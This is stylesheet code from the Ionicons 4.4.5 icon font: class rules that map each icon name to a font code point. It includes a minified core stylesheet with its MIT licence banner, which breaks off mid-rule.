.ion-md-help:before {
  content: "\f30b";
}

.ion-md-help-buoy:before {
  content: "\f309";
}

.ion-md-help-circle:before {
  content: "\f30a";
}

.ion-md-help-circle-outline:before {
  content: "\f16d";
}

.ion-md-home:before {
  content: "\f30c";
}

.ion-md-hourglass:before {
  content: "\f111";
}

.ion-md-ice-cream:before {
  content: "\f30d";
}

.ion-md-image:before {
  content: "\f30e";
}

.ion-md-images:before {
  content: "\f30f";
}

.ion-md-infinite:before {
  content: "\f310";
}

.ion-md-information:before {
  content: "\f312";
}

.ion-md-information-circle:before {
  content: "\f311";
}

.ion-md-information-circle-outline:before {
  content: "\f16f";
}

.ion-md-jet:before {
  content: "\f315";
}

.ion-md-journal:before {
  content: "\f18d";
}

.ion-md-key:before {
  content: "\f316";
}

.ion-md-keypad:before {
  content: "\f317";
}

.ion-md-laptop:before {
  content: "\f318";
}

.ion-md-leaf:before {
  content: "\f319";
}

.ion-md-link:before {
  content: "\f22e";
}

.ion-md-list:before {
  content: "\f31b";
}

.ion-md-list-box:before {
  content: "\f31a";
}

.ion-md-locate:before {
  content: "\f31c";
}

.ion-md-lock:before {
  content: "\f31d";
}

.ion-md-log-in:before {
  content: "\f31e";
}

.ion-md-log-out:before {
  content: "\f31f";
}

.ion-md-magnet:before {
  content: "\f320";
}

.ion-md-mail:before {
  content: "\f322";
}

.ion-md-mail-open:before {
  content: "\f321";
}

.ion-md-mail-unread:before {
  content: "\f172";
}

.ion-md-male:before {
  content: "\f323";
}

.ion-md-man:before {
  content: "\f324";
}

.ion-md-map:before {
  content: "\f325";
}

.ion-md-medal:before {
  content: "\f326";
}

.ion-md-medical:before {
  content: "\f327";
}

.ion-md-medkit:before {
  content: "\f328";
}

.ion-md-megaphone:before {
  content: "\f329";
}

.ion-md-menu:before {
  content: "\f32a";
}

.ion-md-mic:before {
  content: "\f32c";
}

.ion-md-mic-off:before {
  content: "\f32b";
}

.ion-md-microphone:before {
  content: "\f32d";
}

.ion-md-moon:before {
  content: "\f32e";
}

.ion-md-more:before {
  content: "\f1c9";
}

.ion-md-move:before {
  content: "\f331";
}

.ion-md-musical-note:before {
  content: "\f332";
}

.ion-md-musical-notes:before {
  content: "\f333";
}

.ion-md-navigate:before {
  content: "\f334";
}

.ion-md-notifications:before {
  content: "\f338";
}

.ion-md-notifications-off:before {
  content: "\f336";
}

.ion-md-notifications-outline:before {
  content: "\f337";
}

.ion-md-nuclear:before {
  content: "\f339";
}

.ion-md-nutrition:before {
  content: "\f33a";
}

.ion-md-open:before {
  content: "\f33b";
}

.ion-md-options:before {
  content: "\f33c";
}

.ion-md-outlet:before {
  content: "\f33d";
}

.ion-md-paper:before {
  content: "\f33f";
}

.ion-md-paper-plane:before {
  content: "\f33e";
}

.ion-md-partly-sunny:before {
  content: "\f340";
}

.ion-md-pause:before {
  content: "\f341";
}

.ion-md-paw:before {
  content: "\f342";
}

.ion-md-people:before {
  content: "\f343";
}

.ion-md-person:before {
  content: "\f345";
}

.ion-md-person-add:before {
  content: "\f344";
}

.ion-md-phone-landscape:before {
  content: "\f346";
}

.ion-md-phone-portrait:before {
  content: "\f347";
}

.ion-md-photos:before {
  content: "\f348";
}

.ion-md-pie:before {
  content: "\f349";
}

.ion-md-pin:before {
  content: "\f34a";
}

.ion-md-pint:before {
  content: "\f34b";
}

.ion-md-pizza:before {
  content: "\f354";
}

.ion-md-planet:before {
  content: "\f356";
}

.ion-md-play:before {
  content: "\f357";
}

.ion-md-play-circle:before {
  content: "\f174";
}

.ion-md-podium:before {
  content: "\f358";
}

.ion-md-power:before {
  content: "\f359";
}

.ion-md-pricetag:before {
  content: "\f35a";
}

.ion-md-pricetags:before {
  content: "\f35b";
}

.ion-md-print:before {
  content: "\f35c";
}

.ion-md-pulse:before {
  content: "\f35d";
}

.ion-md-qr-scanner:before {
  content: "\f35e";
}

.ion-md-quote:before {
  content: "\f35f";
}

.ion-md-radio:before {
  content: "\f362";
}

.ion-md-radio-button-off:before {
  content: "\f360";
}

.ion-md-radio-button-on:before {
  content: "\f361";
}

.ion-md-rainy:before {
  content: "\f363";
}

.ion-md-recording:before {
  content: "\f364";
}

.ion-md-redo:before {
  content: "\f365";
}

.ion-md-refresh:before {
  content: "\f366";
}

.ion-md-refresh-circle:before {
  content: "\f228";
}

.ion-md-remove:before {
  content: "\f368";
}

.ion-md-remove-circle:before {
  content: "\f367";
}

.ion-md-remove-circle-outline:before {
  content: "\f176";
}

.ion-md-reorder:before {
  content: "\f369";
}

.ion-md-repeat:before {
  content: "\f36a";
}

.ion-md-resize:before {
  content: "\f36b";
}

.ion-md-restaurant:before {
  content: "\f36c";
}

.ion-md-return-left:before {
  content: "\f36d";
}

.ion-md-return-right:before {
  content: "\f36e";
}

.ion-md-reverse-camera:before {
  content: "\f36f";
}

.ion-md-rewind:before {
  content: "\f370";
}

.ion-md-ribbon:before {
  content: "\f371";
}

.ion-md-rocket:before {
  content: "\f179";
}

.ion-md-rose:before {
  content: "\f372";
}

.ion-md-sad:before {
  content: "\f373";
}

.ion-md-save:before {
  content: "\f1a9";
}

.ion-md-school:before {
  content: "\f374";
}

.ion-md-search:before {
  content: "\f375";
}

.ion-md-send:before {
  content: "\f376";
}

.ion-md-settings:before {
  content: "\f377";
}

.ion-md-share:before {
  content: "\f379";
}

.ion-md-share-alt:before {
  content: "\f378";
}

.ion-md-shirt:before {
  content: "\f37a";
}

.ion-md-shuffle:before {
  content: "\f37b";
}

.ion-md-skip-backward:before {
  content: "\f37c";
}

.ion-md-skip-forward:before {
  content: "\f37d";
}

.ion-md-snow:before {
  content: "\f37e";
}

.ion-md-speedometer:before {
  content: "\f37f";
}

.ion-md-square:before {
  content: "\f381";
}

.ion-md-square-outline:before {
  content: "\f380";
}

.ion-md-star:before {
  content: "\f384";
}

.ion-md-star-half:before {
  content: "\f382";
}

.ion-md-star-outline:before {
  content: "\f383";
}

.ion-md-stats:before {
  content: "\f385";
}

.ion-md-stopwatch:before {
  content: "\f386";
}

.ion-md-subway:before {
  content: "\f387";
}

.ion-md-sunny:before {
  content: "\f388";
}

.ion-md-swap:before {
  content: "\f389";
}

.ion-md-switch:before {
  content: "\f38a";
}

.ion-md-sync:before {
  content: "\f38b";
}

.ion-md-tablet-landscape:before {
  content: "\f38c";
}

.ion-md-tablet-portrait:before {
  content: "\f38d";
}

.ion-md-tennisball:before {
  content: "\f38e";
}

.ion-md-text:before {
  content: "\f38f";
}

.ion-md-thermometer:before {
  content: "\f390";
}

.ion-md-thumbs-down:before {
  content: "\f391";
}

.ion-md-thumbs-up:before {
  content: "\f392";
}

.ion-md-thunderstorm:before {
  content: "\f393";
}

.ion-md-time:before {
  content: "\f394";
}

.ion-md-timer:before {
  content: "\f395";
}

.ion-md-today:before {
  content: "\f17d";
}

.ion-md-train:before {
  content: "\f396";
}

.ion-md-transgender:before {
  content: "\f397";
}

.ion-md-trash:before {
  content: "\f398";
}

.ion-md-trending-down:before {
  content: "\f399";
}

.ion-md-trending-up:before {
  content: "\f39a";
}

.ion-md-trophy:before {
  content: "\f39b";
}

.ion-md-tv:before {
  content: "\f17f";
}

.ion-md-umbrella:before {
  content: "\f39c";
}

.ion-md-undo:before {
  content: "\f39d";
}

.ion-md-unlock:before {
  content: "\f39e";
}

.ion-md-videocam:before {
  content: "\f39f";
}

.ion-md-volume-high:before {
  content: "\f123";
}

.ion-md-volume-low:before {
  content: "\f131";
}

.ion-md-volume-mute:before {
  content: "\f3a1";
}

.ion-md-volume-off:before {
  content: "\f3a2";
}

.ion-md-walk:before {
  content: "\f3a4";
}

.ion-md-wallet:before {
  content: "\f18f";
}

.ion-md-warning:before {
  content: "\f3a5";
}

.ion-md-watch:before {
  content: "\f3a6";
}

.ion-md-water:before {
  content: "\f3a7";
}

.ion-md-wifi:before {
  content: "\f3a8";
}

.ion-md-wine:before {
  content: "\f3a9";
}

.ion-md-woman:before {
  content: "\f3aa";
}
css/ionicons-core.min.css000064400000070151151701353760011413 0ustar00/*!
  Ionicons, v4.4.5
  Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
  https://twitter.com/benjsperry  https://twitter.com/ionicframework
  MIT License: https://github.com/driftyco/ionicons

  Android-style icons originally built by Google’s
  Material Design Icons: https://github.com/google/material-design-icons
  used under CC BY http://creativecommons.org/licenses/by/4.0/
  Modified icons to fit ionicon’s grid from original.
*/.ion-ios-add:before{content:"\f102"}.ion-ios-add-circle:before{content:"\f101"}.ion-ios-add-circle-outline:before{content:"\f100"}.ion-ios-airplane:before{content:"\f137"}.ion-ios-alarm:before{content:"\f3c8"}.ion-ios-albums:before{content:"\f3ca"}.ion-ios-alert:before{content:"\f104"}.ion-ios-american-football:before{content:"\f106"}.ion-ios-analytics:before{content:"\f3ce"}.ion-ios-aperture:before{content:"\f108"}.ion-ios-apps:before{content:"\f10a"}.ion-ios-appstore:before{content:"\f10c"}.ion-ios-archive:before{content:"\f10e"}.ion-ios-arrow-back:before{content:"\f3cf"}.ion-ios-arrow-down:before{content:"\f3d0"}.ion-ios-arrow-dropdown:before{content:"\f110"}.ion-ios-arrow-dropdown-circle:before{content:"\f125"}.ion-ios-arrow-dropleft:before{content:"\f112"}.ion-ios-arrow-dropleft-circle:before{content:"\f129"}.ion-ios-arrow-dropright:before{content:"\f114"}.ion-ios-arrow-dropright-circle:before{content:"\f12b"}.ion-ios-arrow-dropup:before{content:"\f116"}.ion-ios-arrow-dropup-circle:before{content:"\f12d"}.ion-ios-arrow-forward:before{content:"\f3d1"}.ion-ios-arrow-round-back:before{content:"\f117"}.ion-ios-arrow-round-down:before{content:"\f118"}.ion-ios-arrow-round-forward:before{content:"\f119"}.ion-ios-arrow-round-up:before{content:"\f11a"}.ion-ios-arrow-up:before{content:"\f3d8"}.ion-ios-at:before{content:"\f3da"}.ion-ios-attach:before{content:"\f11b"}.ion-ios-backspace:before{content:"\f11d"}.ion-ios-barcode:before{content:"\f3dc"}.ion-ios-baseball:before{content:"\f3de"}.ion-ios-basket:before{content:"\f11f"}.ion-ios-basketball:before{content:"\f3e0"}.ion-ios-battery-charging:before{content:"\f120"}.ion-ios-battery-dead:before{content:"\f121"}.ion-ios-battery-full:before{content:"\f122"}.ion-ios-beaker:before{content:"\f124"}.ion-ios-bed:before{content:"\f139"}.ion-ios-beer:before{content:"\f126"}.ion-ios-bicycle:before{content:"\f127"}.ion-ios-bluetooth:before{content:"\f128"}.ion-ios-boat:before{content:"\f12a"}.ion-ios-body:before{content:"\f3e4"}.ion-ios-bonfire:before{content:"\f12c"}.ion-ios-book:before{content:"\f3e8"}.ion-ios-bookmark:before{content:"\f12e"}.ion-ios-bookmarks:before{content:"\f3ea"}.ion-ios-bowtie:before{content:"\f130"}.ion-ios-briefcase:before{content:"\f3ee"}.ion-ios-browsers:before{content:"\f3f0"}.ion-ios-brush:before{content:"\f132"}.ion-ios-bug:before{content:"\f134"}.ion-ios-build:before{content:"\f136"}.ion-ios-bulb:before{content:"\f138"}.ion-ios-bus:before{content:"\f13a"}.ion-ios-business:before{content:"\f1a3"}.ion-ios-cafe:before{content:"\f13c"}.ion-ios-calculator:before{content:"\f3f2"}.ion-ios-calendar:before{content:"\f3f4"}.ion-ios-call:before{content:"\f13e"}.ion-ios-camera:before{content:"\f3f6"}.ion-ios-car:before{content:"\f140"}.ion-ios-card:before{content:"\f142"}.ion-ios-cart:before{content:"\f3f8"}.ion-ios-cash:before{content:"\f144"}.ion-ios-cellular:before{content:"\f13d"}.ion-ios-chatboxes:before{content:"\f3fa"}.ion-ios-chatbubbles:before{content:"\f146"}.ion-ios-checkbox:before{content:"\f148"}.ion-ios-checkbox-outline:before{content:"\f147"}.ion-ios-checkmark:before{content:"\f3ff"}.ion-ios-checkmark-circle:before{content:"\f14a"}.ion-ios-checkmark-circle-outline:before{content:"\f149"}.ion-ios-clipboard:before{content:"\f14c"}.ion-ios-clock:before{content:"\f403"}.ion-ios-close:before{content:"\f406"}.ion-ios-close-circle:before{content:"\f14e"}.ion-ios-close-circle-outline:before{content:"\f14d"}.ion-ios-cloud:before{content:"\f40c"}.ion-ios-cloud-circle:before{content:"\f152"}.ion-ios-cloud-done:before{content:"\f154"}.ion-ios-cloud-download:before{content:"\f408"}.ion-ios-cloud-outline:before{content:"\f409"}.ion-ios-cloud-upload:before{content:"\f40b"}.ion-ios-cloudy:before{content:"\f410"}.ion-ios-cloudy-night:before{content:"\f40e"}.ion-ios-code:before{content:"\f157"}.ion-ios-code-download:before{content:"\f155"}.ion-ios-code-working:before{content:"\f156"}.ion-ios-cog:before{content:"\f412"}.ion-ios-color-fill:before{content:"\f159"}.ion-ios-color-filter:before{content:"\f414"}.ion-ios-color-palette:before{content:"\f15b"}.ion-ios-color-wand:before{content:"\f416"}.ion-ios-compass:before{content:"\f15d"}.ion-ios-construct:before{content:"\f15f"}.ion-ios-contact:before{content:"\f41a"}.ion-ios-contacts:before{content:"\f161"}.ion-ios-contract:before{content:"\f162"}.ion-ios-contrast:before{content:"\f163"}.ion-ios-copy:before{content:"\f41c"}.ion-ios-create:before{content:"\f165"}.ion-ios-crop:before{content:"\f41e"}.ion-ios-cube:before{content:"\f168"}.ion-ios-cut:before{content:"\f16a"}.ion-ios-desktop:before{content:"\f16c"}.ion-ios-disc:before{content:"\f16e"}.ion-ios-document:before{content:"\f170"}.ion-ios-done-all:before{content:"\f171"}.ion-ios-download:before{content:"\f420"}.ion-ios-easel:before{content:"\f173"}.ion-ios-egg:before{content:"\f175"}.ion-ios-exit:before{content:"\f177"}.ion-ios-expand:before{content:"\f178"}.ion-ios-eye:before{content:"\f425"}.ion-ios-eye-off:before{content:"\f17a"}.ion-ios-fastforward:before{content:"\f427"}.ion-ios-female:before{content:"\f17b"}.ion-ios-filing:before{content:"\f429"}.ion-ios-film:before{content:"\f42b"}.ion-ios-finger-print:before{content:"\f17c"}.ion-ios-fitness:before{content:"\f1ab"}.ion-ios-flag:before{content:"\f42d"}.ion-ios-flame:before{content:"\f42f"}.ion-ios-flash:before{content:"\f17e"}.ion-ios-flash-off:before{content:"\f12f"}.ion-ios-flashlight:before{content:"\f141"}.ion-ios-flask:before{content:"\f431"}.ion-ios-flower:before{content:"\f433"}.ion-ios-folder:before{content:"\f435"}.ion-ios-folder-open:before{content:"\f180"}.ion-ios-football:before{content:"\f437"}.ion-ios-funnel:before{content:"\f182"}.ion-ios-gift:before{content:"\f191"}.ion-ios-git-branch:before{content:"\f183"}.ion-ios-git-commit:before{content:"\f184"}.ion-ios-git-compare:before{content:"\f185"}.ion-ios-git-merge:before{content:"\f186"}.ion-ios-git-network:before{content:"\f187"}.ion-ios-git-pull-request:before{content:"\f188"}.ion-ios-glasses:before{content:"\f43f"}.ion-ios-globe:before{content:"\f18a"}.ion-ios-grid:before{content:"\f18c"}.ion-ios-hammer:before{content:"\f18e"}.ion-ios-hand:before{content:"\f190"}.ion-ios-happy:before{content:"\f192"}.ion-ios-headset:before{content:"\f194"}.ion-ios-heart:before{content:"\f443"}.ion-ios-heart-dislike:before{content:"\f13f"}.ion-ios-heart-empty:before{content:"\f19b"}.ion-ios-heart-half:before{content:"\f19d"}.ion-ios-help:before{content:"\f446"}.ion-ios-help-buoy:before{content:"\f196"}.ion-ios-help-circle:before{content:"\f198"}.ion-ios-help-circle-outline:before{content:"\f197"}.ion-ios-home:before{content:"\f448"}.ion-ios-hourglass:before{content:"\f103"}.ion-ios-ice-cream:before{content:"\f19a"}.ion-ios-image:before{content:"\f19c"}.ion-ios-images:before{content:"\f19e"}.ion-ios-infinite:before{content:"\f44a"}.ion-ios-information:before{content:"\f44d"}.ion-ios-information-circle:before{content:"\f1a0"}.ion-ios-information-circle-outline:before{content:"\f19f"}.ion-ios-jet:before{content:"\f1a5"}.ion-ios-journal:before{content:"\f189"}.ion-ios-key:before{content:"\f1a7"}.ion-ios-keypad:before{content:"\f450"}.ion-ios-laptop:before{content:"\f1a8"}.ion-ios-leaf:before{content:"\f1aa"}.ion-ios-link:before{content:"\f22a"}.ion-ios-list:before{content:"\f454"}.ion-ios-list-box:before{content:"\f143"}.ion-ios-locate:before{content:"\f1ae"}.ion-ios-lock:before{content:"\f1b0"}.ion-ios-log-in:before{content:"\f1b1"}.ion-ios-log-out:before{content:"\f1b2"}.ion-ios-magnet:before{content:"\f1b4"}.ion-ios-mail:before{content:"\f1b8"}.ion-ios-mail-open:before{content:"\f1b6"}.ion-ios-mail-unread:before{content:"\f145"}.ion-ios-male:before{content:"\f1b9"}.ion-ios-man:before{content:"\f1bb"}.ion-ios-map:before{content:"\f1bd"}.ion-ios-medal:before{content:"\f1bf"}.ion-ios-medical:before{content:"\f45c"}.ion-ios-medkit:before{content:"\f45e"}.ion-ios-megaphone:before{content:"\f1c1"}.ion-ios-menu:before{content:"\f1c3"}.ion-ios-mic:before{content:"\f461"}.ion-ios-mic-off:before{content:"\f45f"}.ion-ios-microphone:before{content:"\f1c6"}.ion-ios-moon:before{content:"\f468"}.ion-ios-more:before{content:"\f1c8"}.ion-ios-move:before{content:"\f1cb"}.ion-ios-musical-note:before{content:"\f46b"}.ion-ios-musical-notes:before{content:"\f46c"}.ion-ios-navigate:before{content:"\f46e"}.ion-ios-notifications:before{content:"\f1d3"}.ion-ios-notifications-off:before{content:"\f1d1"}.ion-ios-notifications-outline:before{content:"\f133"}.ion-ios-nuclear:before{content:"\f1d5"}.ion-ios-nutrition:before{content:"\f470"}.ion-ios-open:before{content:"\f1d7"}.ion-ios-options:before{content:"\f1d9"}.ion-ios-outlet:before{content:"\f1db"}.ion-ios-paper:before{content:"\f472"}.ion-ios-paper-plane:before{content:"\f1dd"}.ion-ios-partly-sunny:before{content:"\f1df"}.ion-ios-pause:before{content:"\f478"}.ion-ios-paw:before{content:"\f47a"}.ion-ios-people:before{content:"\f47c"}.ion-ios-person:before{content:"\f47e"}.ion-ios-person-add:before{content:"\f1e1"}.ion-ios-phone-landscape:before{content:"\f1e2"}.ion-ios-phone-portrait:before{content:"\f1e3"}.ion-ios-photos:before{content:"\f482"}.ion-ios-pie:before{content:"\f484"}.ion-ios-pin:before{content:"\f1e5"}.ion-ios-pint:before{content:"\f486"}.ion-ios-pizza:before{content:"\f1e7"}.ion-ios-planet:before{content:"\f1eb"}.ion-ios-play:before{content:"\f488"}.ion-ios-play-circle:before{content:"\f113"}.ion-ios-podium:before{content:"\f1ed"}.ion-ios-power:before{content:"\f1ef"}.ion-ios-pricetag:before{content:"\f48d"}.ion-ios-pricetags:before{content:"\f48f"}.ion-ios-print:before{content:"\f1f1"}.ion-ios-pulse:before{content:"\f493"}.ion-ios-qr-scanner:before{content:"\f1f3"}.ion-ios-quote:before{content:"\f1f5"}.ion-ios-radio:before{content:"\f1f9"}.ion-ios-radio-button-off:before{content:"\f1f6"}.ion-ios-radio-button-on:before{content:"\f1f7"}.ion-ios-rainy:before{content:"\f495"}.ion-ios-recording:before{content:"\f497"}.ion-ios-redo:before{content:"\f499"}.ion-ios-refresh:before{content:"\f49c"}.ion-ios-refresh-circle:before{content:"\f135"}.ion-ios-remove:before{content:"\f1fc"}.ion-ios-remove-circle:before{content:"\f1fb"}.ion-ios-remove-circle-outline:before{content:"\f1fa"}.ion-ios-reorder:before{content:"\f1fd"}.ion-ios-repeat:before{content:"\f1fe"}.ion-ios-resize:before{content:"\f1ff"}.ion-ios-restaurant:before{content:"\f201"}.ion-ios-return-left:before{content:"\f202"}.ion-ios-return-right:before{content:"\f203"}.ion-ios-reverse-camera:before{content:"\f49f"}.ion-ios-rewind:before{content:"\f4a1"}.ion-ios-ribbon:before{content:"\f205"}.ion-ios-rocket:before{content:"\f14b"}.ion-ios-rose:before{content:"\f4a3"}.ion-ios-sad:before{content:"\f207"}.ion-ios-save:before{content:"\f1a6"}.ion-ios-school:before{content:"\f209"}.ion-ios-search:before{content:"\f4a5"}.ion-ios-send:before{content:"\f20c"}.ion-ios-settings:before{content:"\f4a7"}.ion-ios-share:before{content:"\f211"}.ion-ios-share-alt:before{content:"\f20f"}.ion-ios-shirt:before{content:"\f213"}.ion-ios-shuffle:before{content:"\f4a9"}.ion-ios-skip-backward:before{content:"\f215"}.ion-ios-skip-forward:before{content:"\f217"}.ion-ios-snow:before{content:"\f218"}.ion-ios-speedometer:before{content:"\f4b0"}.ion-ios-square:before{content:"\f21a"}.ion-ios-square-outline:before{content:"\f15c"}.ion-ios-star:before{content:"\f4b3"}.ion-ios-star-half:before{content:"\f4b1"}.ion-ios-star-outline:before{content:"\f4b2"}.ion-ios-stats:before{content:"\f21c"}.ion-ios-stopwatch:before{content:"\f4b5"}.ion-ios-subway:before{content:"\f21e"}.ion-ios-sunny:before{content:"\f4b7"}.ion-ios-swap:before{content:"\f21f"}.ion-ios-switch:before{content:"\f221"}.ion-ios-sync:before{content:"\f222"}.ion-ios-tablet-landscape:before{content:"\f223"}.ion-ios-tablet-portrait:before{content:"\f24e"}.ion-ios-tennisball:before{content:"\f4bb"}.ion-ios-text:before{content:"\f250"}.ion-ios-thermometer:before{content:"\f252"}.ion-ios-thumbs-down:before{content:"\f254"}.ion-ios-thumbs-up:before{content:"\f256"}.ion-ios-thunderstorm:before{content:"\f4bd"}.ion-ios-time:before{content:"\f4bf"}.ion-ios-timer:before{content:"\f4c1"}.ion-ios-today:before{content:"\f14f"}.ion-ios-train:before{content:"\f258"}.ion-ios-transgender:before{content:"\f259"}.ion-ios-trash:before{content:"\f4c5"}.ion-ios-trending-down:before{content:"\f25a"}.ion-ios-trending-up:before{content:"\f25b"}.ion-ios-trophy:before{content:"\f25d"}.ion-ios-tv:before{content:"\f115"}.ion-ios-umbrella:before{content:"\f25f"}.ion-ios-undo:before{content:"\f4c7"}.ion-ios-unlock:before{content:"\f261"}.ion-ios-videocam:before{content:"\f4cd"}.ion-ios-volume-high:before{content:"\f11c"}.ion-ios-volume-low:before{content:"\f11e"}.ion-ios-volume-mute:before{content:"\f263"}.ion-ios-volume-off:before{content:"\f264"}.ion-ios-walk:before{content:"\f266"}.ion-ios-wallet:before{content:"\f18b"}.ion-ios-warning:before{content:"\f268"}.ion-ios-watch:before{content:"\f269"}.ion-ios-water:before{content:"\f26b"}.ion-ios-wifi:before{content:"\f26d"}.ion-ios-wine:before{content:"\f26f"}.ion-ios-woman:before{content:"\f271"}.ion-logo-android:before{content:"\f225"}.ion-logo-angular:before{content:"\f227"}.ion-logo-apple:before{content:"\f229"}.ion-logo-bitbucket:before{content:"\f193"}.ion-logo-bitcoin:before{content:"\f22b"}.ion-logo-buffer:before{content:"\f22d"}.ion-logo-chrome:before{content:"\f22f"}.ion-logo-closed-captioning:before{content:"\f105"}.ion-logo-codepen:before{content:"\f230"}.ion-logo-css3:before{content:"\f231"}.ion-logo-designernews:before{content:"\f232"}.ion-logo-dribbble:before{content:"\f233"}.ion-logo-dropbox:before{content:"\f234"}.ion-logo-euro:before{content:"\f235"}.ion-logo-facebook:before{content:"\f236"}.ion-logo-flickr:before{content:"\f107"}.ion-logo-foursquare:before{content:"\f237"}.ion-logo-freebsd-devil:before{content:"\f238"}.ion-logo-game-controller-a:before{content:"\f13b"}.ion-logo-game-controller-b:before{content:"\f181"}.ion-logo-github:before{content:"\f239"}.ion-logo-google:before{content:"\f23a"}.ion-logo-googleplus:before{content:"\f23b"}.ion-logo-hackernews:before{content:"\f23c"}.ion-logo-html5:before{content:"\f23d"}.ion-logo-instagram:before{content:"\f23e"}.ion-logo-ionic:before{content:"\f150"}.ion-logo-ionitron:before{content:"\f151"}.ion-logo-javascript:before{content:"\f23f"}.ion-logo-linkedin:before{content:"\f240"}.ion-logo-markdown:before{content:"\f241"}.ion-logo-model-s:before{content:"\f153"}.ion-logo-no-smoking:before{content:"\f109"}.ion-logo-nodejs:before{content:"\f242"}.ion-logo-npm:before{content:"\f195"}.ion-logo-octocat:before{content:"\f243"}.ion-logo-pinterest:before{content:"\f244"}.ion-logo-playstation:before{content:"\f245"}.ion-logo-polymer:before{content:"\f15e"}.ion-logo-python:before{content:"\f246"}.ion-logo-reddit:before{content:"\f247"}.ion-logo-rss:before{content:"\f248"}.ion-logo-sass:before{content:"\f249"}.ion-logo-skype:before{content:"\f24a"}.ion-logo-slack:before{content:"\f10b"}.ion-logo-snapchat:before{content:"\f24b"}.ion-logo-steam:before{content:"\f24c"}.ion-logo-tumblr:before{content:"\f24d"}.ion-logo-tux:before{content:"\f2ae"}.ion-logo-twitch:before{content:"\f2af"}.ion-logo-twitter:before{content:"\f2b0"}.ion-logo-usd:before{content:"\f2b1"}.ion-logo-vimeo:before{content:"\f2c4"}.ion-logo-vk:before{content:"\f10d"}.ion-logo-whatsapp:before{content:"\f2c5"}.ion-logo-windows:before{content:"\f32f"}.ion-logo-wordpress:before{content:"\f330"}.ion-logo-xbox:before{content:"\f34c"}.ion-logo-xing:before{content:"\f10f"}.ion-logo-yahoo:before{content:"\f34d"}.ion-logo-yen:before{content:"\f34e"}.ion-logo-youtube:before{content:"\f34f"}.ion-md-add:before{content:"\f273"}.ion-md-add-circle:before{content:"\f272"}.ion-md-add-circle-outline:before{content:"\f158"}.ion-md-airplane:before{content:"\f15a"}.ion-md-alarm:before{content:"\f274"}.ion-md-albums:before{content:"\f275"}.ion-md-alert:before{content:"\f276"}.ion-md-american-football:before{content:"\f277"}.ion-md-analytics:before{content:"\f278"}.ion-md-aperture:before{content:"\f279"}.ion-md-apps:before{content:"\f27a"}.ion-md-appstore:before{content:"\f27b"}.ion-md-archive:before{content:"\f27c"}.ion-md-arrow-back:before{content:"\f27d"}.ion-md-arrow-down:before{content:"\f27e"}.ion-md-arrow-dropdown:before{content:"\f280"}.ion-md-arrow-dropdown-circle:before{content:"\f27f"}.ion-md-arrow-dropleft:before{content:"\f282"}.ion-md-arrow-dropleft-circle:before{content:"\f281"}.ion-md-arrow-dropright:before{content:"\f284"}.ion-md-arrow-dropright-circle:before{content:"\f283"}.ion-md-arrow-dropup:before{content:"\f286"}.ion-md-arrow-dropup-circle:before{content:"\f285"}.ion-md-arrow-forward:before{content:"\f287"}.ion-md-arrow-round-back:before{content:"\f288"}.ion-md-arrow-round-down:before{content:"\f289"}.ion-md-arrow-round-forward:before{content:"\f28a"}.ion-md-arrow-round-up:before{content:"\f28b"}.ion-md-arrow-up:before{content:"\f28c"}.ion-md-at:before{content:"\f28d"}.ion-md-attach:before{content:"\f28e"}.ion-md-backspace:before{content:"\f28f"}.ion-md-barcode:before{content:"\f290"}.ion-md-baseball:before{content:"\f291"}.ion-md-basket:before{content:"\f292"}.ion-md-basketball:before{content:"\f293"}.ion-md-battery-charging:before{content:"\f294"}.ion-md-battery-dead:before{content:"\f295"}.ion-md-battery-full:before{content:"\f296"}.ion-md-beaker:before{content:"\f297"}.ion-md-bed:before{content:"\f160"}.ion-md-beer:before{content:"\f298"}.ion-md-bicycle:before{content:"\f299"}.ion-md-bluetooth:before{content:"\f29a"}.ion-md-boat:before{content:"\f29b"}.ion-md-body:before{content:"\f29c"}.ion-md-bonfire:before{content:"\f29d"}.ion-md-book:before{content:"\f29e"}.ion-md-bookmark:before{content:"\f29f"}.ion-md-bookmarks:before{content:"\f2a0"}.ion-md-bowtie:before{content:"\f2a1"}.ion-md-briefcase:before{content:"\f2a2"}.ion-md-browsers:before{content:"\f2a3"}.ion-md-brush:before{content:"\f2a4"}.ion-md-bug:before{content:"\f2a5"}.ion-md-build:before{content:"\f2a6"}.ion-md-bulb:before{content:"\f2a7"}.ion-md-bus:before{content:"\f2a8"}.ion-md-business:before{content:"\f1a4"}.ion-md-cafe:before{content:"\f2a9"}.ion-md-calculator:before{content:"\f2aa"}.ion-md-calendar:before{content:"\f2ab"}.ion-md-call:before{content:"\f2ac"}.ion-md-camera:before{content:"\f2ad"}.ion-md-car:before{content:"\f2b2"}.ion-md-card:before{content:"\f2b3"}.ion-md-cart:before{content:"\f2b4"}.ion-md-cash:before{content:"\f2b5"}.ion-md-cellular:before{content:"\f164"}.ion-md-chatboxes:before{content:"\f2b6"}.ion-md-chatbubbles:before{content:"\f2b7"}.ion-md-checkbox:before{content:"\f2b9"}.ion-md-checkbox-outline:before{content:"\f2b8"}.ion-md-checkmark:before{content:"\f2bc"}.ion-md-checkmark-circle:before{content:"\f2bb"}.ion-md-checkmark-circle-outline:before{content:"\f2ba"}.ion-md-clipboard:before{content:"\f2bd"}.ion-md-clock:before{content:"\f2be"}.ion-md-close:before{content:"\f2c0"}.ion-md-close-circle:before{content:"\f2bf"}.ion-md-close-circle-outline:before{content:"\f166"}.ion-md-cloud:before{content:"\f2c9"}.ion-md-cloud-circle:before{content:"\f2c2"}.ion-md-cloud-done:before{content:"\f2c3"}.ion-md-cloud-download:before{content:"\f2c6"}.ion-md-cloud-outline:before{content:"\f2c7"}.ion-md-cloud-upload:before{content:"\f2c8"}.ion-md-cloudy:before{content:"\f2cb"}.ion-md-cloudy-night:before{content:"\f2ca"}.ion-md-code:before{content:"\f2ce"}.ion-md-code-download:before{content:"\f2cc"}.ion-md-code-working:before{content:"\f2cd"}.ion-md-cog:before{content:"\f2cf"}.ion-md-color-fill:before{content:"\f2d0"}.ion-md-color-filter:before{content:"\f2d1"}.ion-md-color-palette:before{content:"\f2d2"}.ion-md-color-wand:before{content:"\f2d3"}.ion-md-compass:before{content:"\f2d4"}.ion-md-construct:before{content:"\f2d5"}.ion-md-contact:before{content:"\f2d6"}.ion-md-contacts:before{content:"\f2d7"}.ion-md-contract:before{content:"\f2d8"}.ion-md-contrast:before{content:"\f2d9"}.ion-md-copy:before{content:"\f2da"}.ion-md-create:before{content:"\f2db"}.ion-md-crop:before{content:"\f2dc"}.ion-md-cube:before{content:"\f2dd"}.ion-md-cut:before{content:"\f2de"}.ion-md-desktop:before{content:"\f2df"}.ion-md-disc:before{content:"\f2e0"}.ion-md-document:b